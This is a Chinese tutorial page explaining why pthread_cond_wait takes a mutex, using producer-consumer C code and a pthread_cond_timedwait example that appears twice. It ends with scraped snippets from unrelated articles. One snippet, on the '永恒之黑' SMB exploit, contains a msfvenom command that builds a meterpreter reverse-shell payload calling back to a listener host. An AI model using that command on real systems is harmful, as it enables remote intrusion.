为什么pthread_cond_wait需要互斥锁mutex作为参数

通常的应用场景下,当前线程执行pthread_cond_wait时,一定是处于某个临界区,正在访问共享资源,存在一个mutex与该临界区相关联。因此,在阻塞前,必须释放mutex;被唤醒后,仍然处于临界区,因此需要再次获得mutex。

目录
为什么是pthread_cond_wait(cond, mutex)而不是pthread_cond_wait(cond)
生产者和消费者问题的介绍
用于同步和互斥的全局变量
使用pthread_cond_wait(cond)解决生产者和消费者问题(第一版)
使用pthread_cond_wait(cond)解决生产者和消费者问题(第二版)
使用pthread_cond_wait(cond, mutex)解决生产者和消费者问题
完整可编译运行的程序
程序运行结果
1. 为什么是pthread_cond_wait(cond, mutex)而不是pthread_cond_wait(cond)
我当初学习条件变量时,也有过和楼主相同的疑问,在上操作系统实践课程时,班上的个别学生也问过这个问题。相信这是一个初学者的共性问题,但很少有书籍仔细解释这个问题。
为什么pthread_cond_wait的api被设计为
int pthread_cond_wait(pthread_cond_t *cond, pthread_mutex_t *mutex);
而不是被设计为
int pthread_cond_wait(pthread_cond_t *cond);
pthread_cond_wait(cond, mutex)的功能有3个:

调用者线程首先释放mutex
然后阻塞,等待被别的线程唤醒
当调用者线程被唤醒后,调用者线程会再次获取mutex
pthread_cond_wait(cond)的功能只有1个:
调用者线程阻塞,等待被别的线程唤醒。
这里首先给一个简洁的回答:

通常的应用场景下,当前线程执行pthread_cond_wait时,处于临界区访问共享资源,存在一个mutex与该临界区相关联,这是理解pthread_cond_wait带有mutex参数的关键
当前线程执行pthread_cond_wait前,已经获得了和临界区相关联的mutex;执行pthread_cond_wait会阻塞,但是在进入阻塞状态前,必须释放已经获得的mutex,让其它线程能够进入临界区
当前线程执行pthread_cond_wait后,阻塞等待的条件满足,条件满足时会被唤醒;被唤醒后,仍然处于临界区,因此被唤醒后必须再次获得和临界区相关联的mutex
综上,调用pthread_cond_wait时,线程总是位于某个临界区,该临界区与mutex相关,pthread_cond_wait需要带有一个参数mutex,用于释放和再次获取mutex。

本文的剩下部分将通过一个具体的应用场景来说明,为什么pthread_cond_wait需要一个看似多余的mutex参数。

2. 生产者和消费者问题的介绍
存在一个共享缓冲区,生产者向共享缓冲区写入数据,消费者从共享缓冲区中读取数据。
生产者和消费者存在同步关系:当共享缓冲区为满时,生产者需要等待,等待消费者从共享缓冲区取走数据;当共享缓冲区为空时,消费者需要等待,等待生产者向共享缓冲区中写入数据。
使用环形队列实现共享缓冲区,数据结构如下:
#define CAPACITY 8     // 缓冲区的最大容量
int buffer[CAPACITY];  // 缓冲区数组
int in;                // 缓冲区的写指针
int out;               // 缓冲区的读指针
int size;              // 缓冲区中的数据个数
缓冲区的相关代码如下

void buffer_init()
{
    in = 0;
    out = 0;
    size = 0;
}

// 判断缓冲区是否为空
int buffer_is_empty()
{
    return size == 0; 
}

// 判断缓冲区是否为满
int buffer_is_full()
{
    return size == CAPACITY; 
}

// 向缓冲区中追加一个数据
void buffer_put(int item)
{
    buffer[in] = item;
    in = (in + 1) % CAPACITY;
    size++;
}

// 从缓冲区中取走一个数据
int buffer_get()
{
    int item;

    item = buffer[out];
    out = (out + 1) % CAPACITY;
    size--;

    return item;
}
如果存在多个生产者和多个消费者,变量in、out和size会被它们共享访问,因此生产者和消费者还存在互斥关系:

当某个生产者执行buffer_is_full、buffer_put时,访问了变量in、out和size,只能允许该生产者独占访问这三个变量,禁止其他生产者和消费者访问这些共享变量。
当某个消费者执行buffer_is_empty、buffer_get时,访问了变量in、out和size,只能允许该消费者独占访问这三个变量,禁止其他生产者和消费者访问这些共享变量。
3. 用于同步和互斥的全局变量
总结以上

生产者和消费者中存在有同步关系,需要使用pthread_cond_wait和pthread_cond_signal解决
生产者和消费者中存在有互斥关系,需要使用pthread_mutex_lock和pthread_mutex_unlock解决
程序中需要引入两个全局变量cond和mutex用于同步和互斥

pthread_cond_t cond;
pthread_mutex_t mutex;
4. 使用pthread_cond_wait(cond)解决生产者和消费者问题(第一版)
下面我们尝试使用没有mutex参数的pthread_cond_wait来模拟生产者消费者,假想中没有mutex参数的pthread_cond_wait原型如下:

int pthread_cond_wait(pthread_cond_t *cond);
pthread_cond_wait(cond)的功能非常简单,仅仅阻塞当前线程。在生产者消费者这个应用场景中,很快就能发现pthread_cond_wait(cond)的问题。

使用pthread_cond_wait(cond)解决生产者和消费者问题的代码如下:

// 生产者线程执行的流程
void producer_loop()
{
    int i;

    // 生产CAPACITY*2个数据
    for (i = 0; i < CAPACITY*2; i++) {  
        pthread_mutex_lock(&mutex);

        // 当缓冲区为满时,生产者需要等待
        while (buffer_is_full()) {   
            // 当前线程已经持有了mutex,调用pthread_cond_wait阻塞,必然导致死锁
            pthread_cond_wait(&cond);
        }

        // 此时,缓冲区肯定不是满的,向缓冲区写数据
        buffer_put(i);

        pthread_mutex_unlock(&mutex);        

        // 缓冲区的状态发生了变化,唤醒其它的生产者或消费者
        pthread_cond_signal(&cond);
    }
}

// 消费者线程执行的流程
void consumer_loop()
{
    int i;

    // 消费CAPACITY*2个数据
    for (i = 0; i < CAPACITY*2; i++) {  
        pthread_mutex_lock(&mutex);

        // 当缓冲区为空时,消费者需要等待
        while (buffer_is_empty()) {   
            // 当前线程已经持有了mutex,调用pthread_cond_wait阻塞,必然导致死锁
            pthread_cond_wait(&cond);
        }

        // 此时,缓冲区肯定不是空的,从缓冲区取数据
        int item = buffer_get();

        pthread_mutex_unlock(&mutex);        

        // 缓冲区的状态发生了变化,唤醒其它的生产者或消费者
        pthread_cond_signal(&cond);
    }
}
以上程序存在一个会导致死锁的严重错误,以生产者为例:

当前缓冲区已经满了,生产者运行,首先获取mutex
然后检测buffer_is_full为真,生产者无法放入数据
调用pthread_cond_wait,该生产者进入阻塞状态,等待被消费者唤醒
消费者试图获取mutex,由于mutex已经被占用了,消费者将进入阻塞状态
生产者和消费者均进入阻塞状态,系统死锁
5. 使用pthread_cond_wait(cond)解决生产者和消费者问题(第二版)
为了解决死锁的问题,需要对上一节的程序进行如下改进

调用线程调用pthread_cond_wait(cond)前,已经持有了mutex
执行pthread_cond_wait(cond)前,调用pthread_unlock(mutex)释放mutex
执行pthread_cond_wait(cond)后,调用pthread_lock(mutex)再次获得mutex
// 生产者线程执行的流程
void producer_loop()
{
    int i;

    // 生产CAPACITY*2个数据
    for (i = 0; i < CAPACITY*2; i++) {  
        pthread_mutex_lock(&mutex);

        // 当缓冲区为满时,生产者需要等待
        while (buffer_is_full()) {   
            pthread_mutex_unlock(&mutex);
            pthread_cond_wait(&cond);
            pthread_mutex_lock(&mutex);
        }

        // 此时,缓冲区肯定不是满的,向缓冲区写数据
        buffer_put(i);

        pthread_mutex_unlock(&mutex);        

        // 缓冲区的状态发生了变化,唤醒其它的生产者或消费者
        pthread_cond_signal(&cond);
    }
}

// 消费者线程执行的流程
void consumer_loop()
{
    int i;

    // 消费CAPACITY*2个数据
    for (i = 0; i < CAPACITY*2; i++) {  
        pthread_mutex_lock(&mutex);

        // 当缓冲区为空时,消费者需要等待
        while (buffer_is_empty()) {   
            pthread_mutex_unlock(&mutex);
            pthread_cond_wait(&cond);
            pthread_mutex_lock(&mutex);            
        }

        // 此时,缓冲区肯定不是空的,从缓冲区取数据
        int item = buffer_get();

        pthread_mutex_unlock(&mutex);        

        // 缓冲区的状态发生了变化,唤醒其它的生产者或消费者
        pthread_cond_signal(&cond);
    }
}
这里解释一下为什么线程调用pthread_cond_wait返回后,需要再次调用pthread_mutex_lock获取锁。以生产者为例,以下为生产者向buffer中追加数据的代码段:

// 生产者向buffer中追加数据
pthread_mutex_lock(&mutex);
while (buffer_is_full()) {   
    pthread_mutex_unlock(&mutex);
    pthread_cond_wait(&cond);
    pthread_mutex_lock(&mutex);
}
buffer_put(i);
pthread_mutex_unlock(&mutex);
在上面这段代码中,生产者线程会调用buffer_is_full和buffer_put,访问共享变量in、out和size。必须保证线程以独占的方式访问这些共享变量,即线程在调用buffer_is_full和buffer_put前必须持有锁。线程从pthread_cond_wait返回后,调用pthread_mutex_lock再次获得锁,然后执行语句while (buffer_is_full())时,因为已经拥有了锁,所以通过buffer_is_full访问共享变量是安全的。

6. 使用pthread_cond_wait(cond, mutex)解决生产者和消费者问题
在上一个版本的程序中,生产者和消费者中存在如下代码段

// 先释放mutex、再阻塞、最后再次获取mutex
pthread_mutex_unlock(&mutex);
pthread_cond_wait(&cond);
pthread_mutex_lock(&mutex);
从这个应用场景来看,pthread_cond_wait被设计为带有mutex参数,用一次函数调用pthread_cond_wait(cond, mtex)即可实现以上三条语句的功能。

使用pthread_cond_wait(cond, mutex)解决生产者和消费者问题的代码如下:

// 生产者线程执行的流程
void producer_loop()
{
    int i;

    // 生产CAPACITY*2个数据
    for (i = 0; i < CAPACITY*2; i++) 
    {  
        pthread_mutex_lock(&mutex);

        // 当缓冲区为满时,生产者需要等待
        while (buffer_is_full()) 
        {   
            // 当前线程已经持有了mutex,首先释放mutex,然后阻塞,醒来后再次获取mutex            
            pthread_cond_wait(&cond, &mutex);
        }

        // 此时,缓冲区肯定不是满的,向缓冲区写数据
        buffer_put(i);

        pthread_mutex_unlock(&mutex);        

        // 缓冲区的状态发生了变化,唤醒其它的生产者或消费者
        pthread_cond_signal(&cond);
    }
}

// 消费者线程执行的流程
void consumer_loop()
{
    int i;

    // 消费CAPACITY*2个数据
    for (i = 0; i < CAPACITY*2; i++) 
    {  
        pthread_mutex_lock(&mutex);

        // 当缓冲区为空时,消费者需要等待
        while (buffer_is_empty()) 
        {  
            // 当前线程已经持有了mutex,首先释放mutex,然后阻塞,醒来后再次获取mutex 
            pthread_cond_wait(&cond, &mutex);
        }

        // 此时,缓冲区肯定不是空的,从缓冲区取数据
        int item = buffer_get();

        pthread_mutex_unlock(&mutex);        

        // 缓冲区的状态发生了变化,唤醒其它的生产者或消费者
        pthread_cond_signal(&cond);
    }
}

7. 完整可编译运行的程序
#include <stdio.h>
#include <pthread.h>

#define CAPACITY 8     // 缓冲区的最大容量
int buffer[CAPACITY];  // 缓冲区数组
int in;                // 缓冲区的写指针
int out;               // 缓冲区的读指针
int size;              // 缓冲区中的数据个数

void buffer_init()
{
    in = 0;
    out = 0;
    size = 0;
}

// 判断缓冲区是否为空
int buffer_is_empty()
{
    return size == 0; 
}

// 判断缓冲区是否为满
int buffer_is_full()
{
    return size == CAPACITY; 
}

// 向缓冲区中追加一个数据
void buffer_put(int item)
{
    buffer[in] = item;
    in = (in + 1) % CAPACITY;
    size++;
}

// 从缓冲区中取走一个数据
int buffer_get()
{
    int item;

    item = buffer[out];
    out = (out + 1) % CAPACITY;
    size--;

    return item;
}

pthread_cond_t cond;
pthread_mutex_t mutex;

// 生产者线程执行的流程
void *producer_loop(void *arg)
{
    int i;

    // 生产CAPACITY*2个数据
    for (i = 0; i < CAPACITY*2; i++) 
    {       
        printf("produce %d\n", i);
        pthread_mutex_lock(&mutex);

        // 当缓冲区为满时,生产者需要等待
        while (buffer_is_full()) 
        {   
            // 当前线程已经持有了mutex,首先释放mutex,然后阻塞,醒来后再次获取mutex
            pthread_cond_wait(&cond, &mutex);
        }

        // 此时,缓冲区肯定不是满的,向缓冲区写数据
        buffer_put(i);
        pthread_mutex_unlock(&mutex);        

        // 缓冲区的状态发生了变化,唤醒其它的生产者或消费者
        pthread_cond_signal(&cond);
    }

    return NULL;
}

// 消费者线程执行的流程
void *consumer_loop(void *arg)
{
    int i;

    // 消费CAPACITY*2个数据
    for (i = 0; i < CAPACITY*2; i++) 
    {  
        pthread_mutex_lock(&mutex);

        // 当缓冲区为空时,消费者需要等待
        while (buffer_is_empty()) 
        {   
            // 当前线程已经持有了mutex,首先释放mutex,然后阻塞,醒来后再次获取mutex
            pthread_cond_wait(&cond, &mutex);
        }

        // 此时,缓冲区肯定不是空的,从缓冲区取数据
        int item = buffer_get();
        pthread_mutex_unlock(&mutex);        

        // 缓冲区的状态发生了变化,唤醒其它的生产者或消费者
        pthread_cond_signal(&cond);

    printf("\tconsume %d\n", item);
    }

    return NULL;
}

int main()
{
    pthread_t producer;
    pthread_t consumer;

    buffer_init();
    pthread_create(&producer, NULL, producer_loop, NULL);
    pthread_create(&consumer, NULL, consumer_loop, NULL);

    pthread_join(producer, NULL);
    pthread_join(consumer, NULL);
    return 0;
}

8. 程序运行结果
root@linuxmooc:~# cc -o thread thread.c -lpthread
root@linuxmooc:~# ./thread
produce 0
produce 1
produce 2
produce 3
produce 4
produce 5
produce 6
produce 7
produce 8
produce 9
        consume 0
        consume 1
        consume 2
        consume 3
        consume 4
        consume 5
        consume 6
        consume 7
        consume 8
produce 10
produce 11
produce 12
produce 13
produce 14
produce 15
        consume 9
        consume 10
        consume 11
        consume 12
        consume 13
        consume 14
        consume 15

由于工作上的事情,要用到线程之间的同步,而且有超时处理,在网上看到了使用pthread_cond_timedwait()函数和pthread_cond_wait()函数,其实2个函数都差不多,我主要是要用pthread_cond_timedwait()函数。

pthread_cond_timedwait()函数有三个入口参数:
(1)pthread_cond_t __cond:条件变量(触发条件)
(2)pthread_mutex_t __mutex: 互斥锁
(3)struct timespec __abstime: 等待时间(其值为系统时间 + 等待时间)
当在指定时间内有信号传过来时,pthread_cond_timedwait()返回0,否则返回一个非0数(我没有找到返回值的定义);

在使用pthread_cond_timedwait()函数时,必须有三步:
1:加互斥锁:pthread_mutex_lock(&__mutex)
2:等待:pthread_cond_timedwait(&__cond, &__mutex, &__abstime)   //解锁->等待->加锁
3:解互斥锁:pthread_mutex_unlock(&__mutex)

发送信号量时,也要有三步:

1:加互斥锁:pthread_mutex_lock(&__mutex)
2:发送:pthread_cond_signal(&__cond)
3:解互斥锁:pthread_mutex_unlock(&__mutex)

那么,这里就有一个问题,等待的时候已经加上锁了,那么我发送的时候怎么才能运行到发送函数呢?其实这是因为在pthread_cond_timedwait()函数中已经对互斥锁进行解锁操作了,所以这个时候发送信号量是不会阻塞的。其实仔细想想,这样不是才能保证同步吗?(写完代码后考虑一下)

#include <stdio.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <semaphore.h>
#include <sys/time.h>
 
#define SENDSIGTIME 10
 
pthread_cond_t g_cond;
pthread_mutex_t g_mutex;
 
void thread1(void *arg)
{
    int inArg = (int)arg;
    int ret = 0;
    struct timeval now;
    struct timespec outtime;
 
    pthread_mutex_lock(&g_mutex);
 
    gettimeofday(&now, NULL);
    outtime.tv_sec = now.tv_sec + 5;
    outtime.tv_nsec = now.tv_usec * 1000;
 
    ret = pthread_cond_timedwait(&g_cond, &g_mutex, &outtime);
    //ret = pthread_cond_wait(&g_cond, &g_mutex);
    pthread_mutex_unlock(&g_mutex);
 
    printf("thread 1 ret: %d\n", ret);
}
 
int main(void)
{
    pthread_t id1;
    int ret;
 
    pthread_cond_init(&g_cond, NULL);
    pthread_mutex_init(&g_mutex, NULL);
 
    ret = pthread_create(&id1, NULL, (void *)thread1, (void *)1);
    if (0 != ret)
    {
    printf("thread 1 create failed!\n");
    return 1;
    }
 
    printf("等待%ds发送信号!\n", SENDSIGTIME);
    sleep(SENDSIGTIME);
    printf("正在发送信号....\n");
    pthread_mutex_lock(&g_mutex);
    pthread_cond_signal(&g_cond);
    pthread_mutex_unlock(&g_mutex);
 
 
    pthread_join(id1, NULL);
 
    pthread_cond_destroy(&g_cond);
    pthread_mutex_destroy(&g_mutex);
 
    return 0;
}


 

由于工作上的事情,要用到线程之间的同步,而且有超时处理,在网上看到了使用pthread_cond_timedwait()函数和pthread_cond_wait()函数,其实2个函数都差不多,我主要是要用pthread_cond_timedwait()函数。

pthread_cond_timedwait()函数有三个入口参数:
(1)pthread_cond_t __cond:条件变量(触发条件)
(2)pthread_mutex_t __mutex: 互斥锁
(3)struct timespec __abstime: 等待时间(其值为系统时间 + 等待时间)
当在指定时间内有信号传过来时,pthread_cond_timedwait()返回0,否则返回一个非0数(我没有找到返回值的定义);

在使用pthread_cond_timedwait()函数时,必须有三步:
1:加互斥锁:pthread_mutex_lock(&__mutex)
2:等待:pthread_cond_timedwait(&__cond, &__mutex, &__abstime)   //解锁->等待->加锁
3:解互斥锁:pthread_mutex_unlock(&__mutex)

发送信号量时,也要有三步:

1:加互斥锁:pthread_mutex_lock(&__mutex)
2:发送:pthread_cond_signal(&__cond)
3:解互斥锁:pthread_mutex_unlock(&__mutex)

那么,这里就有一个问题,等待的时候已经加上锁了,那么我发送的时候怎么才能运行到发送函数呢?其实这是因为在pthread_cond_timedwait()函数中已经对互斥锁进行解锁操作了,所以这个时候发送信号量是不会阻塞的。其实仔细想想,这样不是才能保证同步吗?(写完代码后考虑一下)

#include <stdio.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <semaphore.h>
#include <sys/time.h>
 
#define SENDSIGTIME 10
 
pthread_cond_t g_cond;
pthread_mutex_t g_mutex;
 
void thread1(void *arg)
{
    int inArg = (int)arg;
    int ret = 0;
    struct timeval now;
    struct timespec outtime;
 
    pthread_mutex_lock(&g_mutex);
 
    gettimeofday(&now, NULL);
    outtime.tv_sec = now.tv_sec + 5;
    outtime.tv_nsec = now.tv_usec * 1000;
 
    ret = pthread_cond_timedwait(&g_cond, &g_mutex, &outtime);
    //ret = pthread_cond_wait(&g_cond, &g_mutex);
    pthread_mutex_unlock(&g_mutex);
 
    printf("thread 1 ret: %d\n", ret);
}
 
int main(void)
{
    pthread_t id1;
    int ret;
 
    pthread_cond_init(&g_cond, NULL);
    pthread_mutex_init(&g_mutex, NULL);
 
    ret = pthread_create(&id1, NULL, (void *)thread1, (void *)1);
    if (0 != ret)
    {
    printf("thread 1 create failed!\n");
    return 1;
    }
 
    printf("等待%ds发送信号!\n", SENDSIGTIME);
    sleep(SENDSIGTIME);
    printf("正在发送信号....\n");
    pthread_mutex_lock(&g_mutex);
    pthread_cond_signal(&g_cond);
    pthread_mutex_unlock(&g_mutex);
 
 
    pthread_join(id1, NULL);
 
    pthread_cond_destroy(&g_cond);
    pthread_mutex_destroy(&g_mutex);
 
    return 0;
}

查看全文
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

相关文章

  1. 初识编程——一个大一小白的期望

    以下是一个编程小白的自我介绍 刚上大一&#xff0c;报了计算机专业&#xff0c;开始接触编程&#xff0c;并且自己在bilibili上c语言的课程在学习&#xff0c;刚开始嘛&#xff0c;因为啥也不懂&#xff0c;就稀里糊涂的东学一点&#xff0c;西凑一点&#xff0c;没有方向&am…...

    2024/4/20 23:43:55
  2. 学习17天,掌握java多态

    今天学习多态&#xff0c;内容很多&#xff0c;也很抽象&#xff0c;还好最后还是掌握了&#xff01;下面给大家介绍一下&#xff01; 多态就是多种状态:同一个行为&#xff0c;不同的子类表现出来不同的形态。 同一个引用类型&#xff0c;使用不同的实例而执行不同操作 &…...

    2024/4/23 23:09:56
  3. linux关掉某个端口

    netstat -anp | grep 8080kill 5632...

    2024/4/24 23:18:20
  4. SpringBoot在Linux上优雅重启

    Spring Boot项目中加入 import lombok.extern.slf4j.Slf4j;import javax.annotation.PreDestroy;Slf4j public class TerminateBean {PreDestroypublic void preDestroy() {log.info("程序正常退出");//在这里做程序关闭之前的事情}} Bean public TerminateBean Te…...

    2024/4/20 5:06:30
  5. 配置git 账户密码时bash:$:command not found

    配置git 账户密码时bash:$:command not found 在配置git账户和用户名时&#xff1a; $ git config --global user.name “名字” $ git config --global user.email 邮箱 出现如下错误。 这是因为操作的位置不对&#xff0c;要在命令行中到达git安装的位置&#xff1a; 我…...

    2024/4/26 11:59:50
  6. 记录我配置Vue的过程

    1.安装node &#xff0c;下载后直接根据提示安装 2.打开dos窗口&#xff0c;验证是否安装成功 3.修改默认的下载路径&#xff0c;使用淘宝镜像的方式 第一种方式 npm config set registry https://registry.npm.taobao.org 配置后可以根据 npm config get registry或 npm c…...

    2024/4/20 16:14:18
  7. MapReduce作业提交流程

    1.作业提交 提交作业 job 后&#xff0c;job.waitForCompletion&#xff08;true&#xff09;调用 monitorAndPrintJob()方法每秒轮询 作业进度&#xff0c;如果发现自上次报告后有改变&#xff0c;便把进度报告给控制台。Job 的 submit()方法 创建一个内部的 JobSubmitter 实…...

    2024/4/24 14:43:38
  8. 如果在pycharm中设置解释器2021-11-03

    重新自学python第一天 如果在pycharm中设置解释器 在左上角文件当中&#xff0c;找到设置并点击进入&#xff0c;再找到自己的所在的项目&#xff0c;点击小三角&#xff0c;如第三步所示&#xff0c;点击python interpreter .会出现右半部分所示&#xff0c;再次点击设置&…...

    2024/4/15 5:43:19
  9. Microsoft Visio 2003 对象导入 word 进行编辑

    一、基本操作步骤 点击绘图工具 编辑对象 选中全部对象&#xff0c;复制&#xff0c;在 Word 中粘贴 二、自己探索出的玩法 在 Word 中双击 Visio 对象&#xff0c;可以在 Word 中调用 Visio 窗口 单击 Word 空白处&#xff0c;即可退出 Visio 窗口在 Word 中选中 Visio 对…...

    2024/4/15 5:42:59
  10. 任务描述 用指向指针的指针的方法对n个整数排序并输出。

    //头歌指针1 第4关 #include<stdio.h> void sequence(int a[], int len) { for (int i 0; i < len - 1; i) { for (int j 0; j < len - i - 1; j) { if (a[j] > a[j 1]) { int temp; temp a[j]; a[j] a[j 1]; a[j 1] temp; } } } for (int i 0; i <…...

    2024/4/19 10:34:19
  11. 【PTA】 动态规划dp 最大子段和 | 编辑距离

    编辑距离&#xff1a; #include<bits/stdc.h> using namespace std; char a[2002],b[2002]; int len_a,len_b; int dp[2010][2010]; int dpp() {for(int i1;i<len_a;i){for(int j1;j<len_b;j){if(a[i-1]b[j-1]) {dp[i][j]dp[i-1][j-1];}else{dp[i][j]1min(dp[i][j…...

    2024/4/16 22:29:36
  12. 阿里小站——笔记记录不迷路

    阿里小站&#xff1a;https://pan.yuankongjian.com/ 传送门...

    2024/4/19 18:14:45
  13. 关于混淆,指定包名下的混淆

    -keep class cn.hadcn.test.** -keep class cn.hadcn.test.*一颗星表示只是保持该包下的类名&#xff0c;而子包下的类名还是会被混淆&#xff1b;两颗星表示把本包和所含子包下的类名都保持&#xff1b; 作者&#xff1a;CPPAlien 链接&#xff1a;https://www.jianshu.com/p/…...

    2024/4/15 5:42:59
  14. 嵌入式团队结构体链表培训

    嵌入式团队结构体&链表培训 结构体 从基本数据类型到抽象数据类型 由前面我们学习的知识可知&#xff0c;C语言规定了一些基本数据类型&#xff0c;比如int、long、float、char等,但是这些基本数据类型在描述一些比较复杂的事务的时候就显得有些不足了&#xff0c;这就引…...

    2024/4/16 9:05:21
  15. 初学者对奇偶排序的写法

    描述 输入十个整数&#xff0c;将十个整数按升序排列输出&#xff0c;并且奇数在前&#xff0c;偶数在后。 输入 输入十个整数 输出 按照奇偶排序好的十个整数 输入样例 1 10 9 8 7 6 5 4 3 2 1 输出样例 1 1 3 5 7 9 2 4 6 8 10 前两天老师交了冒泡排序&#xff0…...

    2024/4/19 9:23:57
  16. 异常学习汇总

    异常事件 Error&#xff1a;java虚拟机无法解决的问题&#xff0c;如JVM系统内部错误、资源耗尽&#xff0c;不编写代码进行处理 Exception&#xff1a;因编程错误或偶然外在因素导致的问题&#xff0c;使用针对性代码解决&#xff0c;如空指针访问&#xff08;主要学习&#…...

    2024/4/15 5:43:55
  17. STM32 MCU的启动过程分析

    预备知识 ARM Cortex系列的MCU在复位、开机的时候&#xff0c; 都会从 0x00000000的内存地址上去获取向量表&#xff0c;用户软件也可以通过写入VTOR寄存器来修改向量表存储地址&#xff0c; 这个值是相当对于Flash_Base地址的偏移量&#xff0c; 这样就可以让程序从不同的存储…...

    2024/4/26 4:31:22
  18. http请求响应数据包的结构

    http请求响应数据包的结构 请求数据包的结构&#xff1a; 第一部分&#xff1a;请求行&#xff08;请求方式&#xff08;八种请求方式&#xff09;&#xff0c;请求资源路径&#xff0c;协议的类型与版本&#xff09; 第二部分&#xff1a;若干消息头,比如&#xff1a;content…...

    2024/4/25 4:06:39
  19. 永恒之黑.

    msf里的模块没有相关的EXP&#xff0c;所有需要到GitHub上下载。 然后再目录中输入以下指令 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost192.168.40.140 lport6666 -b \x00 -i 1 -f python 然后再修改文档中的.py文件。 阿斯顿萨达...

    2024/4/26 13:53:52
  20. 使用MSVC2013 32bit编译opencv3.4.0源码,在Qt5.6.3上运行代码

    文章目录0 编译器1 编译过程0 编译器 基本上&#xff0c;Mingw是Windows的Linux&#xff08;GNU&#xff09;工具的端口&#xff0c;这包括GCC的&#xff08;实际编译器&#xff09;。另一方面&#xff0c;MSVC是构建C / C 可执行文件的Windows工具链。 在使用Mingw时可以更轻…...

    2024/4/25 9:06:32

最新文章

  1. 吴恩达深度学习笔记:深度学习的 实践层面 (Practical aspects of Deep Learning)1.6-1.8

    目录 第一门课&#xff1a;第二门课 改善深层神经网络&#xff1a;超参数调试、正 则 化 以 及 优 化 (Improving Deep Neural Networks:Hyperparameter tuning, Regularization and Optimization)第一周&#xff1a;深度学习的 实践层面 (Practical aspects of Deep Learning)…...

    2024/4/27 0:40:30
  2. 梯度消失和梯度爆炸的一些处理方法

    在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言&#xff0c;在此感激不尽。 权重和梯度的更新公式如下&#xff1a; w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...

    2024/3/20 10:50:27
  3. C# Solidworks二次开发:六种配合方式以及注意事项API详解

    今天要写的文章是关于配合的一些API介绍。 如果大家还不知道创建配合的API用的是哪个&#xff0c;可以看一下我之前写的文章&#xff1a;C# Solidworks二次开发&#xff1a;创建距离配合以及移动组件API详解_solidworks transform2-CSDN博客 &#xff08;1&#xff09;今天要…...

    2024/4/26 10:38:30
  4. C++ 【原型模式】

    简单介绍 原型模式是一种创建型设计模式 | 它使你能够复制已有对象&#xff0c;客户端不需要知道要复制的对象是哪个类的实例&#xff0c;只需通过原型工厂获取该对象的副本。 以后需要更改具体的类或添加新的原型类&#xff0c;客户端代码无需改变&#xff0c;只需修改原型工…...

    2024/4/24 19:02:05
  5. 2024年04月IDE流行度最新排名

    点击查看最新IDE流行度最新排名&#xff08;每月更新&#xff09; 2024年04月IDE流行度最新排名 顶级IDE排名是通过分析在谷歌上搜索IDE下载页面的频率而创建的 一个IDE被搜索的次数越多&#xff0c;这个IDE就被认为越受欢迎。原始数据来自谷歌Trends 如果您相信集体智慧&am…...

    2024/4/26 19:30:12
  6. 【外汇早评】美通胀数据走低,美元调整

    原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...

    2024/4/26 18:09:39
  7. 【原油贵金属周评】原油多头拥挤,价格调整

    原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...

    2024/4/26 20:12:18
  8. 【外汇周评】靓丽非农不及疲软通胀影响

    原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...

    2024/4/26 23:05:52
  9. 【原油贵金属早评】库存继续增加,油价收跌

    原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...

    2024/4/25 18:39:23
  10. 【外汇早评】日本央行会议纪要不改日元强势

    原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...

    2024/4/25 18:39:22
  11. 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响

    原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...

    2024/4/25 18:39:22
  12. 【外汇早评】美欲与伊朗重谈协议

    原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...

    2024/4/26 21:56:58
  13. 【原油贵金属早评】波动率飙升,市场情绪动荡

    原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...

    2024/4/25 16:48:44
  14. 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试

